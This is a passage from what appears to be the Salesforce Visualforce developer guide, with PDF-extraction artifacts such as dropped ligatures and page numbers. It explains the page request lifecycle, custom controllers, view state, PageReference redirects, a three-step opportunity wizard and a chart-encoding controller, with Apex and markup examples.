3. The action that triggered the postback request is executed. If that action completes successfully, the data is updated. If the postback request returns the user to the same page, the view state is updated. Note: The action attribute on the <apex:page> component is not evaluated during a postback request. It is only evaluated during a get request. 4. The resulting HTML is sent to the browser. If the postback request indicates a page redirect and the redirect is to a page that uses the same controller and a proper subset of controller extensions of the originating page, a postback request is executed for that page. Otherwise, a get request is executed for the page. If the postback request contains an <apex:form> component, only the ID query parameter on a postback request is returned. Tip: You can use the setRedirect attribute on a pageReference to control whether a postback or get request is executed. If setRedirect is set to true, a get request is executed. Setting it to false does not ignore the restriction that a postback request will be executed if and only if the target uses the same controller and a proper subset of extensions. If setRedirect is set to false, and the target does not meet those requirements, a get request will be made. Once the user is redirected to another page, the view state and controller objects are deleted. For a specic example of a postback request, see Examples of Visualforce Page Execution Order on page 79.
79
80
</apex:pageBlock> <apex:form rendered="{!$CurrentPage.parameters.key = 'true'}"> <apex:pageBlock title="Update the Account" id="thePageBlock"> <apex:pageBlockSection columns="1"> <apex:inputField id="aName" value="{!account.name}"/> <apex:inputField value="{!account.NumberOfEmployees}"/> <apex:pageBlockSectionItem> <apex:outputLabel value="{!$ObjectType.account.fields.Industry.label}" for="acctIndustry"/> <apex:actionRegion> <apex:inputField value="{!account.Industry}" id="acctIndustry"> <apex:actionSupport event="onchange" rerender="thePageBlock" status="status"/> </apex:inputField> </apex:actionRegion> </apex:pageBlockSectionItem> </apex:pageBlockSection> <apex:pageBlockButtons location="bottom"> <apex:commandButton action="{!save}" value="Save"/> <apex:commandButton action="{!cancel}" value="Cancel" immediate="true"/> </apex:pageBlockButtons> </apex:pageBlock> </apex:form> </apex:page>
Let's trace the lifecycle to see why the page displays what it does. Since you've requested the page directly by entering a URL, this page is the result of a get request, not a postback request. 1. The rst thing that happens in a get request is that constructor methods on the custom controller and controller extension are called. The myController method is the constructor on the controller and the lifecycle method is the constructor on the extension. Those are executed and the two objects now exist. The controller now has a variable, called account, that is the result of a query that uses the id parameter from the URL, to identify which account object to query. The extension now has a variable, called acct, that is created by calling the getAccount method on the controller. The getAccount method has no side-effects. 2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or controller extensions. The page includes one custom component:
<c:editMode value="{!$CurrentPage.parameters.key}"/>
81
This custom component has an associated controller, but the controller has no explicit constructor. As with all Apex objects without explicit constructors, the object is created using an implicit, no-argument, public constructor. As part of creating the custom component, the value attribute on the custom component is set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. Since we did not specify the key attribute in the URL, value is set to null. 3. After custom components are created, all assignTo attributes on those custom components are executed. An assignTo attribute is a setter method that assigns the value of this attribute to a class variable in the associated custom component controller. The editMode custom component does have an assignTo method, so it is executed. The assignTo method sets selectedValue on the attribute to the value attribute. The value attribute is set to null, so selectedValue is set to null. 4. The next step in a get request is evaluation of the action attribute on the <apex:page> component , expressions, and the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is indeterminate and may be different than the following: The <apex:page> component has an action attribute which calls the resetEmp method on the extension. That method sets the numberofemployees eld on the acct object to 10. There are several expressions that evaluate on the page. Let's focus on three: <apex:pageBlock title="{!greeting}">
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting. This is rendered on the page as Global Media Current Information. <apex:form rendered="{!$CurrentPage.parameters.key = 'true'}">
The rendered attribute on <apex:form> is set based on the value of the key parameter. We did not set key when calling the page, so the form is not rendered. Value = {!value}<br/> selectedValue = {!selectedValue}<br/> EditMode = {!EditMode}
This expression occurs in the custom component. We've already discussed that value and selectedValue are set to null, however, the value of EditMode is not yet known. EditMode is a boolean variable on the componentController. It is set based on the whether value is equal to null:
set { selectedValue = value; // Side effect here - don't do this! editMode = (value != null); }
Since value is null, EditMode is set to false. Note, however, that there is a side-effect in the setter method for EditMode. As part of setting editMode, we also setselectedValue to value. Since value is null, this doesn't change anything, but this behavior has an impact in a later example. The other expressions and methods are evaluated in a similar manner.
5. Since the <apex:form> component isn't rendered, the view state isn't created. 6. The last step in the get request is to send the HTML to the browser, which renders the HTML.
82
Let's trace the lifecycle again. This page is also the result of a get request: 1. The rst thing that happens in a get request is that constructor methods on the custom controller and controller extension are called. The myController method is the constructor on the controller and the lifecycle method is the constructor on the extension. These are executed and the two objects now exist. The controller now has a variable, called account, that is the result of a query that uses the id parameter from the URL to identify which account record to query. The extension now has a variable, called acct, that is created by calling the getAccount method on the controller. 2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or controller extensions. The page includes one custom component:
<c:editMode value="{!$CurrentPage.parameters.key}"/>
This custom component has an associated controller without a constructor, so the controller object is created using an implicit, no-argument, public constructor. As part of creating the custom component, the value attribute on the custom component is set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. We specied the key attribute as false, so value is set to false. 3. After custom components are created, all assignTo attributes on those custom components are executed. The assignTo method sets selectedValue on the attribute to the value attribute. The value attribute is set to false, so selectedValue is set to false. 4. The next step in a get request is evaluation of the action attribute on the <apex:page> component , expressions, and the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is indeterminate and may be different than the following: The <apex:page> component has an action attribute which calls the resetEmp method on the extension. That method sets the numberofemployees eld on the acct object to 10. Of the expressions on the page, let's see how our chosen three are evaluated:
<apex:pageBlock title="{!greeting}">
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting. It is rendered on the page as Global Media Current Information.
<apex:form rendered="{!$CurrentPage.parameters.key = 'true'}">
The rendered attribute on <apex:form> is set based on the value of the key parameter. We set key to false when calling the page, so the form is not rendered.
Value = {!value}<br/> selectedValue = {!selectedValue}<br/> EditMode = {!EditMode}
This expression occurs in the custom component. Since value is not null, EditMode is set to true. At this point, selectedValue is set to null. Remember, however, that the setter method for EditMode has a side-effect. In this case, the side-effect sets selectedValue to the value attribute on the custom component. Since value is set to false, selectedValue is set to false. This illustrates why you should not use side-effects in your methods. If the evaluation order were different, and the value for selectedValue were determined before the setter for EditMode was evaluated, selectedValue would still be null. Execution order is not guaranteed, and the result for selectedValue could change the next time this page is visited.
83
5. Since the <apex:form> component isn't rendered, the view state isn't created 6. The last step in the get request is to send the HTML to the browser, which renders the HTML.
following:
Let's trace the get request lifecycle one more time: 1. The rst thing that happens in a get request is that constructor methods on the custom controller and controller extension are called. The myController method is the constructor on the controller and the lifecycle method is the constructor on the extension. These are executed and the two objects now exist. The controller now has a variable, called account, that is the result of a query that uses the id parameter from the URL to identify which account record to query. The extension now has a variable, called acct, that is created by calling the getAccount method on the controller. 2. The next step in a get request is to create the custom components and execute constructor methods on associated controllers or controller extensions. The page includes one custom component:
<c:editMode value="{!$CurrentPage.parameters.key}"/>
This custom component has an associated controller without a constructor, so the controller object is created using an implicit, no-argument, public constructor. As part of creating the custom component, the value attribute on the custom component is set. In this case, it is equal to the result of the expression {!$CurrentPage.parameters.key}. We specied the key attribute as true, so value is set to true. 3. After custom components are created, all assignTo attributes on those custom components are executed. The assignTo method sets selectedValue on the attribute to the value attribute. The value attribute is set to true, so selectedValue is set to true. 4. The next step in a get request is evaluation of the action attribute on the <apex:page> component, expressions, and the required getter and setter methods. Although we'll step through these below, remember that the order of these evaluations is indeterminate and may be different than the following: The <apex:page> component has an action attribute which calls the resetEmp method on the extension. That method sets the numberofemployees eld on the acct object to 10.
84
Of the expressions on the page, let's see how our chosen three are evaluated:
<apex:pageBlock title="{!greeting}">
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting. It is rendered on the page as Global Media Current Information.
<apex:form rendered="{!$CurrentPage.parameters.key = 'true'}">
The rendered attribute on <apex:form> is set based on the value of the key parameter. We set key to true when calling the page, so the form is rendered.
Value = {!value}<br/> selectedValue = {!selectedValue}<br/> EditMode = {!EditMode}
This expression occurs in the custom component. Since value is not null, EditMode is set to true. As in the previous example, selectedValue is set to null. The side-effect in the setter method for EditMode sets selectedValue to true. 5. Since the <apex:form> component is rendered, the view state is created. 6. The last step in the get request is to send the HTML to the browser, which renders the HTML.
The title attribute on <apex:pageblock> calls the getter method on the lifecycle extension getGreeting. In our edit, we changed the value of the Account name. Thus, the value of greeting changes to Pan Galactic Media Current Information.
<apex:form rendered="{!$CurrentPage.parameters.key = 'true'}">
The rendered attribute on <apex:form> is set based on the value of the key parameter. We have not changed the key parameter, so the value in the view state is used. Since the value was true when the view state was created, it is still true and the form is rendered.
Value = {!value}<br/> selectedValue = {!selectedValue}<br/> EditMode = {!EditMode}
We have not changed any of these values, so, for each expression, the value in the view state is used. 3. Lastly, the save action, the action that triggered the postback request, is evaluated. The save action is the following method on the controller:
public PageReference save() { update account; return null; }
This method updates the record with the new data. If this method fails, which it might do if the user does not have permission to update the record, or if there are validation rules that are triggered by the change, the page is displayed along with error messages describing the error. The values the user entered are not lost. They remain as they were when the user clicked the Save button. Assuming there are no errors, the data on the object is updated, the view state is updated, and,
85
since the action that triggered the postback did not include a page redirect, the view state is updated. The resulting HTML is sent to the browser:
See Also:
Using the Development Mode Footer
public thecontroller() { this.qp = ApexPages.currentPage().getParameters().get('qp'); } public String getFirstName() { return this.firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public String getLastName() { return this.lastName; }
86
public void setLastName(String lastName) { this.lastName = lastName; } public String getCompany() { return this.company; } public void setCompany(String company) { this.company = company; } public String getEmail() { return this.email; } public void setEmail(String email) { this.email = email; } public PageReference save() { PageReference p = null; if (this.qp == null || !'yyyy'.equals(this.qp)) { p = Page.failure; p.getParameters().put('error', 'noParam'); } else { try { Lead newlead = new Lead(LastName=this.lastName, FirstName=this.firstName, Company=this.company, Email=this.email); insert newlead; } catch (Exception e) { p = Page.failure; p.getParameters().put('error', 'noInsert'); } } if (p == null) { p = Page.success; } p.setRedirect(true); return p; } }
The controller calls two additional pages: a success page and a failure page. The text of those pages is not important for this example. They merely have to exist. The following markup uses the controller above:
<apex:page controller="thecontroller" tabstyle="lead"> <apex:pageBlock> <apex:form> <h1>Test page for adding leads</h1> <p>This is a test page for adding leads.</p> <p>First name: <apex:inputText value="{!FirstName}"></apex:inputText></p> <p>Last name: <apex:inputText value="{!LastName}"></apex:inputText></p> <p>Company: <apex:inputText value="{!Company}"></apex:inputText></p> <p>Email address: <apex:inputText value="{!Email}"></apex:inputText></p> <apex:commandButton action="{!save}" value="Save New Lead"/> </apex:form> </apex:pageBlock> </apex:page>
87
Tip: If you are testing your controller you may see the following error message:
Method does not exist or incorrect signature: Test.setCurrentPage(System.PageReference)
If this message appears, look to see if you have created a class called Test. If you have, rename the class.
88
Note: The ID of a valid account record must be specied as a query parameter in the URL for this page to render. For example, http://na3.salesforce.com/apex/myValidationPage?id=001x000xxx3Jsxb. You need to write a custom controller like the following:
public class MyController { Account account; public PageReference save() { try{ update account; } catch(DmlException ex){ ApexPages.addMessages(ex); } return null; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, numberoflocations__c from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } }
When the user saves the page, if a validation error is triggered, the exception is caught and displayed on the page as they are for a standard controller.
You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that dene the types of elds declared in the serializable classes. Declaring variables as transient reduces view state size. A common use case for the transient keyword is a eld on a Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many system resources to be recomputed many times during a request. Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These objects include the following:
89
PageReferences XmlStream Classes Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as a collection of Savepoints Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
Static variables also don't get transmitted through the view state. The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController"> T1: {!t1} <br/> T2: {!t2} <br/> <apex:form> <apex:commandLink value="refresh"/> </apex:form> </apex:page> public class ExampleController { DateTime t1; transient DateTime t2; public String getT1() { if (t1 == null) t1 = System.now(); return '' + t1; } public String getT2() { if (t2 == null) t2 = System.now(); return '' + t2; } }
90
Chapter 8
Advanced Examples
The examples in the quick start tutorial are considered beginning examples, and primarily use only Visualforce markup. Advanced examples use Force.com Apex code in addition to Visualforce markup.
You can create a controller class and add it to your page in two different ways: Add the controller attribute to your page and use a quick x to create the controller class on the y: 1. In the page editor, add the controller attribute to the <apex:page> tag. For example:
<apex:page controller="MyController"> <apex:pageBlock title="Hello {!$User.FirstName}!"> This is your new page. </apex:pageBlock> </apex:page>
91
Advanced Examples
2. Use the quick x option to automatically create a new Apex class named MyController. Create and save the controller class in the Apex editor of your choice, and then reference it in your page: 1. In the application, click Your Name Setup Develop Apex Classes and click New to create a new class. 2. Return to your page and add the controller attribute to the <apex:page> tag as described in the example above. Note: A page can only reference one controller at a time. Consequently, you cannot have both the standardController attribute and the controller attribute in an <apex:page> tag. As soon as you save a page that references a valid custom controller, a second Controller editor tab is available next to the Page Editor. This editor allows you to toggle back and forth between your page markup and the Apex that denes the page's logic.
To display the results of a getter method in a page, use the name of the getter method without the get prex in an expression. For example, to display the result of the getName method in page markup, use {!name}:
<apex:page controller="MyController"> <apex:pageBlock title="Hello {!$User.FirstName}!"> This is your new page for the {!name} controller.
92
Advanced Examples
</apex:pageBlock> </apex:page>
In earlier examples that used the standard Account controller, the pages displayed values from an account record specied in the URL (with the id query string parameter) by using an {!account.<fieldName>} expression. This was possible because the Account standard controller includes a getter method named getAccount that returns the specied account record. We can mimic this functionality in a custom controller with the following code:
public class MyController { public String getName() { return 'MyController'; } public Account getAccount() { return [select id, name from Account where id = :ApexPages.currentPage().getParameters().get('id')]; } }
Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
The getAccount method uses an embedded SOQL query to return the account specied by the id parameter in the URL of the page. To access id, the getAccount method uses the ApexPages namespace: First the currentPage method returns the PageReference instance for the current page. PageReference returns a reference to a Visualforce page, including its query string parameters. Using the page reference, use the getParameters method to return a map of the specied query string parameter names and values. Then a call to the get method specifying id returns the value of the id parameter itself.
A page that uses the MyController controller can display either the account name or id elds with an {!account.name} or {!account.id} expression, respectively. Only those elds are available to the page because those were the only elds returned by the SOQL query in the controller. To more closely mimic the standard Account controller, we can add the tabStyle attribute to the <apex:page> tag to give the page the same styling as other account pages. The markup for the page now looks like this:
<apex:page controller="MyController" tabStyle="Account"> <apex:pageBlock title="Hello {!$User.FirstName}!"> This is your new page for the {!name} controller. <br/> You are viewing the {!account.name} account. </apex:pageBlock> </apex:page>
93
Advanced Examples
call an action
<apex:actionFunction> denes a new JavaScript function that calls an action <apex:page> calls an action when the page is loaded
For example, in the sample page described in Using Input Components in a Page on page 32, a command button is bound to the save method in the Account standard controller. We can adapt that previous example so that it now uses the MyController custom controller:
<apex:page controller="MyController" tabStyle="Account"> <apex:form> <apex:pageBlock title="Hello {!$User.FirstName}!"> You are viewing the {!account.name} account. <p/> Change Account Name: <p/> <apex:inputField value="{!account.name}"/> <p/> <apex:commandButton action="{!save}" value="Save New Account Name"/> </apex:pageBlock> </apex:form> </apex:page>
Note: Remember, for this page to display account data, the ID of a valid account record must be specied as a query parameter in the URL for the page. For example,
https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb
94
Advanced Examples
Displaying Field Values with Visualforce on page 26 has more information about retrieving the ID of a record. After saving the page above, the Visualforce editor offers a quick x option to add the save method to the MyController class. If you click the quick x link, MyController now looks like this:
public class MyController { public PageReference save() { return null; } public String getName() { return 'MyController'; } public Account getAccount() { return [select id, name from Account where id = :ApexPages.currentPage().getParameters().get('id')]; } }
The save method that is generated by the quick x takes the standard signature for an action method: it is public, returns a PageReference, and contains no arguments. Ultimately, the save method denition must update the database with new account values, but rst we must dene a member variable to save the account information that is retrieved from the database. Without a member variable for the account, the record retrieved from the database does not persist after its values are used to render the page, and the user's updates to the record cannot be saved. To introduce this member variable, two parts of the controller code need to change: The member variable must be added to the class The member variable must be set when getAccount performs the initial query
public class MyController { Account account; public PageReference save() { return null; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, site from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } }
Now that the member variable is in place, all that the save method needs to do is update the database:
public class MyController { Account account; public PageReference save() { update account; return null; }
95
Advanced Examples
public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, site from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } }
A more robust solution for save might catch various exceptions, look for duplicates, and so on. Since this is meant to be a simple example, those details have been left out. To test this page, change the value in the Change Account Name eld and click Save New Account Name. As with the standard Account controller example, the page simply refreshes with the new account name. In the next example, we will extend the save action so that instead of refreshing the current page, it navigates the user to a different conrmation page. Note: For the page to render properly, you must specify a valid account ID in the URL. For example, if 001D000000HRgU6 is the account ID, use the following URL:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000HRgU6
96
Advanced Examples
Page.existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specied page and will prevent the page from being deleted while the controller or extension exists.
PageReference pageRef = new PageReference('partialURL');
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to '/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specied record. This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of the specied page and won't issue an error message to prevent user deletion of the page.
PageReference pageRef = new PageReference('fullURL');
For this example, suppose you want to redirect a user to another page with a new URL after he or she clicks Save. To do this, rst create a second page named mySecondPage by navigating to the following URL and using the quick x:
https://Salesforce_instance/apex/mySecondPage
Then add the following markup to mySecondPage. For simplicity, just use the following standard-controller-based page that was dened earlier in the tutorial:
<apex:page standardController="Account"> Hello {!$User.FirstName}! <p>You are viewing the {!account.name} account.</p> </apex:page>
Now return to the original page that you built in Dening Action Methods on page 94 and make sure that you have specied an account id query parameter in the URL. Edit the save method in the controller so that it returns a PageReference to the new page you just created, mySecondPage:
public class MyController { Account account; public PageReference save() { update account; PageReference secondPage = Page.mySecondPage; secondPage.setRedirect(true); return secondPage; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, site from Account where id = :ApexPages.currentPage().getParameters().get('id')];
97
Advanced Examples
Creating a Wizard
return account; } }
Notice in the code above that the redirect attribute for the PageReference is set to true. If this attribute is not set, the PageReference is returned to the browser, but no navigation occursthe URL for the original page remains the same. If you want to change the URL as a result of navigation, you have to set the redirect attribute. If you test the page now, clicking Save New Account Name navigates to mySecondPage, but the data context is lostthat is, no value is available for {!account.name}. The reason for this is that when a redirect occurs the controller clears the context state. Consequently we need to reset the id query string parameter in the PageReference's parameter map:
public class MyUpdatedController { Account account; public PageReference save() { update account; PageReference secondPage = Page.mySecondPage; secondPage.setRedirect(true); secondPage.getParameters().put('id',account.id); return secondPage; } public String getName() { return 'MyController'; } public Account getAccount() { if(account == null) account = [select id, name, site from Account where id = :ApexPages.currentPage().getParameters().get('id')]; return account; } }
Creating a Wizard
Having learned about the essential features of Visualforce markup and controllers, this nal example shows how they can be used together to create a custom, three-step wizard that allows users to create an opportunity at the same time as a related contact, account, and contact role: The rst step captures information related to the account and contact The second step captures information related to the opportunity The nal step shows which records will be created and allows the user to save or cancel
To implement this wizard, we must dene three pages for each of the three steps in the wizard, plus a single custom controller that sets up navigation between each of the pages and tracks the data that the user enters. Important: Data that's used across several Visualforce pages must be dened within the rst page, even if that page isn't using the data. For example, if a eld is necessary on pages two and three of a three-step process, page one must also contain the eld. You can hide this eld from the user by setting the rendered attribute of the eld to false. The code for each of these components is included in the sections below, but rst you need to understand the best procedure for creating them because each of the three pages references the controller, and the controller references each of the three pages. In what appears to be a conundrum, you cannot create the controller without the pages, but the pages have to exist to refer to them in the controller.
98
Advanced Examples
We can work out of this problem by rst dening pages that are completely empty, then creating the controller, and then adding markup to the pages. Consequently, the best procedure for creating the wizard pages and controller is as follows: 1. Navigate to the URL for the rst page, https://Salesforce_instance/apex/opptyStep1, and click Create Page opptyStep1. 2. Repeat the step above for the other pages in the wizard, opptyStep2 and opptyStep3. 3. Create the newOpportunityController controller by adding it as an attribute to the <apex:page> tag on one of your pages (for example, <apex:page controller="newOpportunityController">, and clicking Create Apex controller newOpportunityController. Paste in all of the controller code and click Save. 4. Now return to the editors for the three pages that you created and copy in their code. The wizard should now work as expected. Note: Although you can create an empty page, the reverse is not truein order for a page to refer to a controller, the controller has to exist with all of its methods and properties.
99
Advanced Examples
} public PageReference step2() { return Page.opptyStep2; } public PageReference step3() { return Page.opptyStep3; } // This method cancels the wizard, and returns the user to the // Opportunities tab public PageReference cancel() { PageReference opportunityPage = new ApexPages.StandardController(opportunity).view(); opportunityPage.setRedirect(true); return opportunityPage; } // This method performs the final save for all four objects, and // then navigates the user to the detail page for the new // opportunity. public PageReference save() { // Create the account. Before inserting, copy the contact's // phone number into the account phone number field. account.phone = contact.phone; insert account; // Create the contact. Before inserting, use the id field // that's created once the account is inserted to create // the relationship between the contact and the account. contact.accountId = account.id; insert contact; // Create the opportunity. Before inserting, create // another relationship with the account. opportunity.accountId = account.id; insert opportunity; // Create the junction contact role between the opportunity // and the contact. role.opportunityId = opportunity.id; role.contactId = contact.id; insert role; // Finally, send the user to the detail page for // the new opportunity. PageReference opptyPage = new ApexPages.StandardController(opportunity).view(); opptyPage.setRedirect(true); return opptyPage; } }
100
Advanced Examples
Notice the following about the markup for the rst page of the wizard: The <apex:pageBlock> tag can take an optional <apex:pageBlockButtons> child element that controls the buttons that appear in the header and footer of the component. The order in which the <apex:pageBlockButtons> tag appears in the <apex:pageBlock> body does not matter. In this page of the wizard, the <apex:pageBlockButtons> tag includes the Next button that appears in the footer of the page block area. The wizard relies on JavaScript code to display a dialog box asking if a user wants to navigate away when clicking the Cancel button. Although the example includes the JavaScript directly in the markup for simplicity, it is a better practice to put JavaScript code in a static resource and reference that resource instead. In this page of the wizard, the Next button calls the step2 method in the controller, which returns a PageReference to the next step of the wizard:
<apex:pageBlockButtons> <apex:commandButton action="{!step2}" value="Next"/> </apex:pageBlockButtons>
101
Advanced Examples
Command buttons must appear in a form, because the form component itself is responsible for refreshing the page display based on the new PageReference. An <apex:pageBlockSection> tag organizes a set of data for display. Similar to a table, an <apex:pageBlockSection> consists of one or more columns, each of which spans two cellsone for a eld's label, and one for its value. Each component found in the body of an <apex:pageBlockSection> tag is placed into the next cell in a row until the number of columns is reached. At that point, the next component wraps to the next row and is placed in the rst cell. Some components, including <apex:inputField>, automatically span both cells of a page block section column at once, lling in both a eld's label and value. For example, in the Contact Information area of this page, the First Name eld is in the rst column, the Last Name eld is in the second column, and the Phone eld wraps to the rst column of the next row:
<apex:pageBlockSection title="Contact Information"> <apex:inputField id="contactFirstName" value="{!contact.firstName}"/> <apex:inputField id="contactLastName" value="{!contact.lastName}"/> <apex:inputField id="contactPhone" value="{!contact.phone}"/> </apex:pageBlockSection>
The value attribute on the rst <apex:inputField> tag in the preceding code excerpt assigns the user's input to the rstName eld of the contact record that's returned by the getContact method in the controller.
102
Advanced Examples
<apex:pageBlock title="Opportunity Information" mode="edit"> <apex:pageBlockButtons> <apex:commandButton action="{!step1}" value="Previous"/> <apex:commandButton action="{!step3}" value="Next"/> <apex:commandButton action="{!cancel}" value="Cancel" onclick="return confirmCancel()" immediate="true"/> </apex:pageBlockButtons> <apex:pageBlockSection title="Opportunity Information"> <apex:inputField id="opportunityName" value="{!opportunity.name}"/> <apex:inputField id="opportunityAmount" value="{!opportunity.amount}"/> <apex:inputField id="opportunityCloseDate" value="{!opportunity.closeDate}"/> <apex:inputField id="opportunityStageName" value="{!opportunity.stageName}"/> <apex:inputField id="contactRole" value="{!role.role}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
Notice that although the markup for placing the Close Date, Stage, and Role for Contact elds on the form is the same as the other elds, the <apex:inputField> tag examines the data type of each eld to determine how to display it. For example, clicking in the Close Date text box brings up a calendar from which users can select the date. Your page should look like this:
103
Advanced Examples
</apex:pageBlockButtons> <apex:pageBlockSection title="Account Information"> <apex:outputField value="{!account.name}"/> <apex:outputField value="{!account.site}"/> </apex:pageBlockSection> <apex:pageBlockSection title="Contact Information"> <apex:outputField value="{!contact.firstName}"/> <apex:outputField value="{!contact.lastName}"/> <apex:outputField value="{!contact.phone}"/> <apex:outputField value="{!role.role}"/> </apex:pageBlockSection> <apex:pageBlockSection title="Opportunity Information"> <apex:outputField value="{!opportunity.name}"/> <apex:outputField value="{!opportunity.amount}"/> <apex:outputField value="{!opportunity.closeDate}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
Notice that the third page of the wizard simply writes text to the page with <apex:outputField> tags. Your nal page should look like this:
104
Advanced Examples
The following example shows a Visualforce page that can be used within a dashboard and that uses a custom list controller. It displays all of the open cases associated with a contact named Babara Levy:
<apex:page controller="retrieveCase" tabStyle="Case"> <apex:pageBlock> {!contactName}'s Cases <apex:pageBlockTable value="{!cases}" var="c"> <apex:column value="{!c.status}"/> <apex:column value="{!c.subject}"/> </apex:pageBlockTable> </apex:pageBlock> </apex:page>
This code shows the custom list controller associated with the page:
public class retrieveCase { public String getContactName() { return 'Babara Levy'; } public List<Case> getCases() { return [SELECT status, subject FROM Case WHERE Contact.name = 'Babara Levy' AND status != 'Closed' limit 5]; } }
See Also:
Creating Visualforce Dashboard Components
105
Advanced Examples
The following code represents the controller for the Visualforce page:
/* This class contains the encoding algorithm for use with the Google chartAPI. */ public class GoogleDataEncoding { // Exceptions to handle any erroneous data public class EncodingException extends Exception {} public class UnsupportedEncodingTypeException extends Exception {} /* The encoding map which takes an integer key and returns the respective encoding value as defined by Google. This map is initialized in init() */ private Map<Integer, String> encodingMap { get; set; } /* The maximum encoding value supported for the given encoding type. This value is set during init() */ private Integer encodingMax { get; set; } /* The minimum encoding value supported for the given encoding type. This value is set during init() */ private Integer encodingMin { get; set; } /* The encoding type according to Google's API. Only SIMPLE is implemented. */ public enum EncodingType { TEXT, SIMPLE, EXTENDED } /* The minimum value to use in the generation of an encoding value. */ public Integer min { get; private set; } /* The maximum value to use in the generation of an encoding value. */ public Integer max { get; private set; } // The encoding type according to the API defined by Google public EncodingType eType { get; private set; } // Corresponds to the data set provided by the page public String dataSet { get; set; } // Corresponds to the type of graph selected on the page public String graph { get; set; } // The URL that renders the Google Chart public String chartURL { get; set; } // Indicates whether the chart should be displayed public Boolean displayChart { get; set; } public GoogleDataEncoding() { min = 0; max = 61; eType = EncodingType.SIMPLE; displayChart = false; init(); } public PageReference create() { String[] dataSetList = dataSet.split(',', 0); String mappedValue = 'chd=s:'; chartURL = 'http://chart.apis.google.com/chart?chs=600x300' + '&chtt=Time+vs|Distance&chxt=x,y,x,y' + '&chxr=0,0,10,1|1,0,65,5' + '&chxl=2:|Seconds|3:|Meters';
106
Advanced Examples
if (graph.compareTo('barChart') == 0) { chartURL += '&cht=bvs'; } else if (graph.compareTo('lineChart') == 0) { chartURL += '&cht=ls'; } else { throw new EncodingException('An unsupported chart type' + 'was selected: ' + graph + ' does not exist.'); } for(String dataPoint : dataSetList) { mappedValue += getEncode(Integer.valueOf(dataPoint.trim())); } chartURL += '&' + mappedValue; displayChart = true; return null; } /* This method returns the encoding type parameter value that matches the specified encoding type. */ public static String getEncodingDescriptor(EncodingType t) { if(t == EncodingType.TEXT) return 't'; else if(t == EncodingType.SIMPLE) return 's'; else if(t == EncodingType.EXTENDED) return 'e'; else return ''; } /* This method takes a given number within the declared range of the encoding class and encodes it according to the encoding type. If the value provided fall outside of the declared range, an EncodingException is thrown. */ public String getEncode(Integer d) { if(d > max || d < min) { throw new EncodingException('Value provided ' + d + ' was outside the declared min/max range (' + min + '/' + max + ')'); } else { return encodingMap.get(d); } } /* This method initializes the encoding map which is then stored for expected repetitious use to minimize statement invocation. */ private void init() { if(eType == EncodingType.SIMPLE) { encodingMax = 61; encodingMin = 0; encodingMap = new Map<Integer, String>(); encodingMap.put(0,'A'); encodingMap.put(1,'B'); encodingMap.put(2,'C'); encodingMap.put(3,'D'); encodingMap.put(4,'E'); encodingMap.put(5,'F'); encodingMap.put(6,'G'); encodingMap.put(7,'H');
107
Advanced Examples
